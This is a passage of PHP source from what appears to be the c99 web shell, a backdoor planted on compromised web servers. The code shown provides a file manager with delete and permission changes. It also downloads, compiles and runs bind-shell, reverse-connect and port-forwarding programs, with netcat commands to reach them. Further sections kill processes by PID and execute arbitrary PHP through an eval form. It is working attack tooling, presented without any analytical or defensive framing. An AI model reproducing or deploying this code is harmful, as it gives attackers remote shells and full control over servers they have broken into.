  2009.        $r[1] = round($r[1]);
  2010.        $isdir = is_dir($v);
  2011.        if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
  2012.        {
  2013.         if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
  2014.         $disppath = $r[2].$disppath.$r[3];
  2015.         if ($r[4]) {break;}
  2016.        }
  2017.       }
  2018.      }
  2019.     }
  2020.     $uo = urlencode($o);
  2021.     $ud = urlencode($dir);
  2022.     $uv = urlencode($v);
  2023.     $row = array();
  2024.     if ($o == ".")
  2025.     {
  2026.      $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
  2027.      $row[] = "LINK";
  2028.     }
  2029.     elseif ($o == "..")
  2030.     {
  2031.      $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
  2032.      $row[] = "LINK";
  2033.     }
  2034.     elseif (is_dir($v))
  2035.     {
  2036.      if (is_link($v))
  2037.      {
  2038.       $disppath .= " => ".readlink($v);
  2039.       $type = "LINK";
  2040.       $row[] =  "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
  2041.      }
  2042.      else
  2043.      {
  2044.       $type = "DIR";
  2045.       $row[] =  "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
  2046.       }
  2047.      $row[] = $type;
  2048.     }
  2049.     elseif(is_file($v))
  2050.     {
  2051.      $ext = explode(".",$o);
  2052.      $c = count($ext)-1;
  2053.      $ext = $ext[$c];
  2054.      $ext = strtolower($ext);
  2055.      $row[] =  "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>";
  2056.      $row[] = view_size($a[1]);
  2057.     }
  2058.     $row[] = date("d.m.Y H:i:s",$a[2]);
  2059.     if (!$win) {$row[] = $a[3];}
  2060.     $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
  2061.     if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
  2062.     else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
  2063.     if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;".$checkbox;}
  2064.     else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;".$checkbox;}
  2065.     if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
  2066.     elseif (is_link($v)) {$tab["links"][] = $row;}
  2067.     elseif (is_dir($v)) {$tab["folders"][] = $row;}
  2068.     elseif (is_file($v)) {$tab["files"][] = $row;}
  2069.     $i++;
  2070.    }
  2071.   }
  2072.   // Compiling table
  2073.   $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
  2074.   echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">";
  2075.   foreach($table as $row)
  2076.   {
  2077.    echo "<tr>\r\n";
  2078.    foreach($row as $v) {echo "<td>".$v."</td>\r\n";}
  2079.    echo "</tr>\r\n";
  2080.   }
  2081.   echo "</table><hr size=\"1\" noshade><p align=\"right\">
  2082.  <script>
  2083.  function ls_setcheckboxall(status)
  2084.  {
  2085.   var id = 1;
  2086.   var num = ".(count($table)-2).";
  2087.   while (id <= num)
  2088.   {
  2089.    document.getElementById('actbox'+id).checked = status;
  2090.    id++;
  2091.   }
  2092.  }
  2093.  function ls_reverse_all()
  2094.  {
  2095.   var id = 1;
  2096.   var num = ".(count($table)-2).";
  2097.   while (id <= num)
  2098.   {
  2099.    document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked;
  2100.    id++;
  2101.   }
  2102.  }
  2103.  </script>
  2104.  <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">
  2105.  <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">";
  2106.   if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
  2107.   {
  2108.    echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  2109.   }
  2110.   echo "<select name=act><option value=\"".$act."\">With selected:</option>";
  2111.   echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
  2112.   echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
  2113.   if ($usefsbuff)
  2114.   {
  2115.    echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
  2116.    echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
  2117.    echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
  2118.   }
  2119.   echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>";
  2120.   echo "</form>";
  2121.  }
  2122. }
  2123. if ($act == "tools")
  2124. {
  2125.  $bndportsrcs = array(
  2126.   "c99sh_bindport.pl"=>array("Using PERL","perl %path %port"),
  2127.   "c99sh_bindport.c"=>array("Using C","%path %port %pass")
  2128.  );
  2129.  $bcsrcs = array(
  2130.   "c99sh_backconn.pl"=>array("Using PERL","perl %path %host %port"),
  2131.   "c99sh_backconn.c"=>array("Using C","%path %host %port")
  2132.  );
  2133.  $dpsrcs = array(
  2134.   "c99sh_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"),
  2135.   "c99sh_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost")
  2136.  );
  2137.  if (!is_array($bind)) {$bind = array();}
  2138.  if (!is_array($bc)) {$bc = array();}
  2139.  if (!is_array($datapipe)) {$datapipe = array();}
  2140.  
  2141.  if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;}
  2142.  if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;}
  2143.  
  2144.  if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");}
  2145.  if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;}
  2146.  
  2147.  if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";}
  2148.  if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;}
  2149.  if (!empty($bindsubmit))
  2150.  {
  2151.   echo "<b>Result of binding port:</b><br>";
  2152.   $v = $bndportsrcs[$bind["src"]];
  2153.   if (empty($v)) {echo "Unknown file!<br>";}
  2154.   elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";}
  2155.   else
  2156.   {
  2157.    $w = explode(".",$bind["src"]);
  2158.    $ext = $w[count($w)-1];
  2159.    unset($w[count($w)-1]);
  2160.    $srcpath = join(".",$w).".".rand(0,999).".".$ext;
  2161.    $binpath = $tmpdir.join(".",$w).rand(0,999);
  2162.    if ($ext == "pl") {$binpath = $srcpath;}
  2163.    @unlink($srcpath);
  2164.    $fp = fopen($srcpath,"ab+");
  2165.    if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
  2166.    elseif (!$data = c99getsource($bind["src"])) {echo "Can't download sources!";}
  2167.    else
  2168.    {
  2169.     fwrite($fp,$data,strlen($data));
  2170.     fclose($fp);
  2171.     if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath);  @unlink($srcpath);}
  2172.     $v[1] = str_replace("%path",$binpath,$v[1]);
  2173.     $v[1] = str_replace("%port",$bind["port"],$v[1]);
  2174.     $v[1] = str_replace("%pass",$bind["pass"],$v[1]);
  2175.     $v[1] = str_replace("//","/",$v[1]);
  2176.     $retbind = myshellexec($v[1]." > /dev/null &");
  2177.     sleep(5);
  2178.     $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5);
  2179.     if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";}
  2180.     else {echo "Binding... ok! Connect to <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";}
  2181.    }
  2182.    echo "<br>";
  2183.   }
  2184.  }
  2185.  if (!empty($bcsubmit))
  2186.  {
  2187.   echo "<b>Result of back connection:</b><br>";
  2188.   $v = $bcsrcs[$bc["src"]];
  2189.   if (empty($v)) {echo "Unknown file!<br>";}
  2190.   else
  2191.   {
  2192.    $w = explode(".",$bc["src"]);
  2193.    $ext = $w[count($w)-1];
  2194.    unset($w[count($w)-1]);
  2195.    $srcpath = join(".",$w).".".rand(0,999).".".$ext;
  2196.    $binpath = $tmpdir.join(".",$w).rand(0,999);
  2197.    if ($ext == "pl") {$binpath = $srcpath;}
  2198.    @unlink($srcpath);
  2199.    $fp = fopen($srcpath,"ab+");
  2200.    if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
  2201.    elseif (!$data = c99getsource($bc["src"])) {echo "Can't download sources!";}
  2202.    else
  2203.    {
  2204.     fwrite($fp,$data,strlen($data));
  2205.     fclose($fp);
  2206.     if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
  2207.     $v[1] = str_replace("%path",$binpath,$v[1]);
  2208.     $v[1] = str_replace("%host",$bc["host"],$v[1]);
  2209.     $v[1] = str_replace("%port",$bc["port"],$v[1]);
  2210.     $v[1] = str_replace("//","/",$v[1]);
  2211.     $retbind = myshellexec($v[1]." > /dev/null &");
  2212.     echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br>";
  2213.    }
  2214.   }
  2215.  }
  2216.  if (!empty($dpsubmit))
  2217.  {
  2218.   echo "<b>Result of datapipe-running:</b><br>";
  2219.   $v = $dpsrcs[$datapipe["src"]];
  2220.   if (empty($v)) {echo "Unknown file!<br>";}
  2221.   elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";}
  2222.   else
  2223.   {
  2224.    $srcpath = $tmpdir.$datapipe["src"];
  2225.    $w = explode(".",$datapipe["src"]);
  2226.    $ext = $w[count($w)-1];
  2227.    unset($w[count($w)-1]);
  2228.    $srcpath = join(".",$w).".".rand(0,999).".".$ext;
  2229.    $binpath = $tmpdir.join(".",$w).rand(0,999);
  2230.    if ($ext == "pl") {$binpath = $srcpath;}
  2231.    @unlink($srcpath);
  2232.    $fp = fopen($srcpath,"ab+");
  2233.    if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";}
  2234.    elseif (!$data = c99getsource($datapipe["src"])) {echo "Can't download sources!";}
  2235.    else
  2236.    {
  2237.     fwrite($fp,$data,strlen($data));
  2238.     fclose($fp);
  2239.     if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
  2240.     list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]);
  2241.     $v[1] = str_replace("%path",$binpath,$v[1]);
  2242.     $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]);
  2243.     $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]);
  2244.     $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]);
  2245.     $v[1] = str_replace("//","/",$v[1]);
  2246.     $retbind = myshellexec($v[1]." > /dev/null &");
  2247.     sleep(5);
  2248.     $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5);
  2249.     if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";}
  2250.     else {echo "Running datapipe... ok! Connect to <b>".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View datapipe process</u></a></center>";}
  2251.    }
  2252.    echo "<br>";
  2253.   }
  2254.  }
  2255.  ?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>">&nbsp;Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>">&nbsp;<select name="bind[src]"><?php
  2256.  foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
  2257.  ?></select>&nbsp;<input type=submit name=bindsubmit value="Bind"></form>
  2258. <b>Back connection:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>">&nbsp;Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>">&nbsp;<select name="bc[src]"><?php
  2259. foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
  2260. ?></select>&nbsp;<input type=submit name=bcsubmit value="Connect"></form>
  2261. Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br>
  2262. <b>Datapipe:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>">&nbsp;Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>">&nbsp;<select name="datapipe[src]"><?php
  2263. foreach($dpsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
  2264. ?></select>&nbsp;<input type=submit name=dpsubmit value="Run"></form><b>Note:</b> sources will be downloaded from remote server.<?php
  2265. }
  2266. if ($act == "processes")
  2267. {
  2268.  echo "<b>Processes:</b><br>";
  2269.  if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");}
  2270.  else {$handler = "tasklist";}
  2271.  $ret = myshellexec($handler);
  2272.  if (!$ret) {echo "Can't execute \"".$handler."\"!";}
  2273.  else
  2274.  {
  2275.   if (empty($processes_sort)) {$processes_sort = $sort_default;}
  2276.   $parsesort = parsesort($processes_sort);
  2277.   if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
  2278.   $k = $parsesort[0];
  2279.   if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  2280.   else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  2281.   $ret = htmlspecialchars($ret);
  2282.   if (!$win)
  2283.   {
  2284.    if ($pid)
  2285.    {
  2286.     if (is_null($sig)) {$sig = 9;}
  2287.     echo "Sending signal ".$sig." to #".$pid."... ";
  2288.     if (posix_kill($pid,$sig)) {echo "OK.";}
  2289.     else {echo "ERROR.";}
  2290.    }
  2291.    while (ereg("  ",$ret)) {$ret = str_replace("  "," ",$ret);}
  2292.    $stack = explode("\n",$ret);
  2293.    $head = explode(" ",$stack[0]);
  2294.    unset($stack[0]);
  2295.    for($i=0;$i<count($head);$i++)
  2296.    {
  2297.     if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";}
  2298.    }
  2299.    $prcs = array();
  2300.    foreach ($stack as $line)
  2301.    {
  2302.     if (!empty($line))
  2303. {
  2304.  echo "<tr>";
  2305.      $line = explode(" ",$line);
  2306.      $line[10] = join(" ",array_slice($line,10));
  2307.      $line = array_slice($line,0,11);
  2308.      if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";}
  2309.      $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
  2310.      $prcs[] = $line;
  2311.      echo "</tr>";
  2312.     }
  2313.    }
  2314.   }
  2315.   else
  2316.   {
  2317.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2318.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2319.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2320.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2321.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2322.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2323.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2324.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2325.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2326.    while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
  2327.    while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  2328.    $ret = convert_cyr_string($ret,"d","w");
  2329.    $stack = explode("\n",$ret);
  2330.    unset($stack[0],$stack[2]);
  2331.    $stack = array_values($stack);
  2332.    $head = explode("",$stack[0]);
  2333.    $head[1] = explode(" ",$head[1]);
  2334.    $head[1] = $head[1][0];
  2335.    $stack = array_slice($stack,1);
  2336.    unset($head[2]);
  2337.    $head = array_values($head);
  2338.    if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  2339.  
  2340.    else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  2341.    if ($k > count($head)) {$k = count($head)-1;}
  2342.    for($i=0;$i<count($head);$i++)
  2343.    {
  2344.     if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";}
  2345.    }
  2346.    $prcs = array();
  2347.    foreach ($stack as $line)
  2348.    {
  2349.     if (!empty($line))
  2350.     {
  2351.      echo "<tr>";
  2352.      $line = explode("",$line);
  2353.      $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
  2354.      $line[2] = intval(str_replace(" ","",$line[2]))*1024;
  2355.      $prcs[] = $line;
  2356.      echo "</tr>";
  2357.     }
  2358.    }
  2359.   }
  2360.   $head[$k] = "<b>".$head[$k]."</b>".$y;
  2361.   $v = $processes_sort[0];
  2362.   usort($prcs,"tabsort");
  2363.   if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
  2364.   $tab = array();
  2365.   $tab[] = $head;
  2366.   $tab = array_merge($tab,$prcs);
  2367.   echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">";
  2368.   foreach($tab as $i=>$k)
  2369.   {
  2370.    echo "<tr>";
  2371.    foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";}
  2372.    echo "</tr>";
  2373.   }
  2374.   echo "</table>";
  2375.  }
  2376. }
  2377. if ($act == "eval")
  2378. {
  2379.  if (!empty($eval))
  2380.  {
  2381.   echo "<b>Result of execution this PHP-code</b>:<br>";
  2382.   $tmp = ob_get_contents();
  2383.   $olddir = realpath(".");
  2384.   @chdir($d);
  2385.   if ($tmp)
  2386.   {
  2387.    ob_clean();
  2388.    eval($eval);
  2389.    $ret = ob_get_contents();
  2390.    $ret = convert_cyr_string($ret,"d","w");
  2391.    ob_clean();
  2392.    echo $tmp;
  2393.    if ($eval_txt)
  2394.    {
  2395.     $rows = count(explode("\r\n",$ret))+1;
  2396.     if ($rows < 10) {$rows = 10;}
  2397.     echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  2398.    }
  2399.    else {echo $ret."<br>";}
  2400.   }
  2401.   else
  2402.   {
  2403.    if ($eval_txt)
  2404.    {
  2405.     echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
  2406.     eval($eval);
  2407.     echo "</textarea>";
  2408.    }
  2409.    else {echo $ret;}
  2410.   }
  2411.   @chdir($olddir);
  2412.  }
  2413.  else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
  2414.  echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
  2415. }
  2416. if ($act == "f")
  2417. {
  2418.  if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
  2419.  {
  2420.   if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
  2421.   else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
  2422.  }
  2423.  else
  2424.  {
  2425.   $r = @file_get_contents($d.$f);
  2426.   $ext = explode(".",$f);
  2427.   $c = count($ext)-1;
  2428.   $ext = $ext[$c];
  2429.   $ext = strtolower($ext);
  2430.   $rft = "";
  2431.   foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
  2432.   if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
  2433.   if (empty($ft)) {$ft = $rft;}
  2434.   $arr = array(
  2435.    array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"),
  2436.    array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"),
  2437.    array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"),
  2438.    array("Code","code"),
  2439.    array("Session","phpsess"),
  2440.    array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"),
  2441.    array("SDB","sdb"),
  2442.    array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"),
  2443.    array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"),
  2444.    array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"),
  2445.    array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"),
  2446.    array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit")
  2447.   );
  2448.   echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
  2449.   foreach($arr as $t)
  2450.   {
  2451.    if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
  2452.    elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
  2453.    else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
  2454.    echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
  2455.   }
  2456.   echo "<hr size=\"1\" noshade>";
  2457.   if ($ft == "info")
  2458.   {
  2459.    echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
  2460.    if (!$win)
  2461.    {
  2462.     echo "<tr><td><b>Owner/Group</b></td><td> ";    
  2463.     $ow = posix_getpwuid(fileowner($d.$f));
  2464.     $gr = posix_getgrgid(filegroup($d.$f));
  2465.     echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
  2466.    }
  2467.    echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>";
  2468.    $fi = fopen($d.$f,"rb");
  2469.    if ($fi)
  2470.    {
  2471.     if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
  2472.     else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
  2473.     $n = 0;
  2474.     $a0 = "00000000<br>";
  2475.     $a1 = "";
  2476.     $a2 = "";
  2477.     for ($i=0; $i<strlen($str); $i++)
  2478.     {
  2479.      $a1 .= sprintf("%02X",ord($str[$i]))." ";
  2480.      switch (ord($str[$i]))
  2481.      {
  2482.       case 0:  $a2 .= "<font>0</font>"; break;
  2483.       case 32:
  2484.       case 10:
  2485.       case 13: $a2 .= "&nbsp;"; break;
  2486.       default: $a2 .= htmlspecialchars($str[$i]);
  2487.      }
  2488.      $n++;
  2489.      if ($n == $hexdump_rows)
  2490.      {
  2491.       $n = 0;
  2492.       if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
  2493.       $a1 .= "<br>";
  2494.       $a2 .= "<br>";
  2495.      }
  2496.     }
  2497.     //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";}
  2498.     echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>";
  2499.    }
  2500.    $encoded = "";
  2501.    if ($base64 == 1)
  2502.    {
  2503.     echo "<b>Base64 Encode</b><br>";
  2504.     $encoded = base64_encode(file_get_contents($d.$f));
  2505.    }
  2506.    elseif($base64 == 2)
  2507.    {
  2508.     echo "<b>Base64 Encode + Chunk</b><br>";
  2509.     $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
  2510.    }
  2511.    elseif($base64 == 3)
  2512.    {
  2513.     echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
  2514.     $encoded = base64_encode(file_get_contents($d.$f));
  2515.     $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
  2516.    }
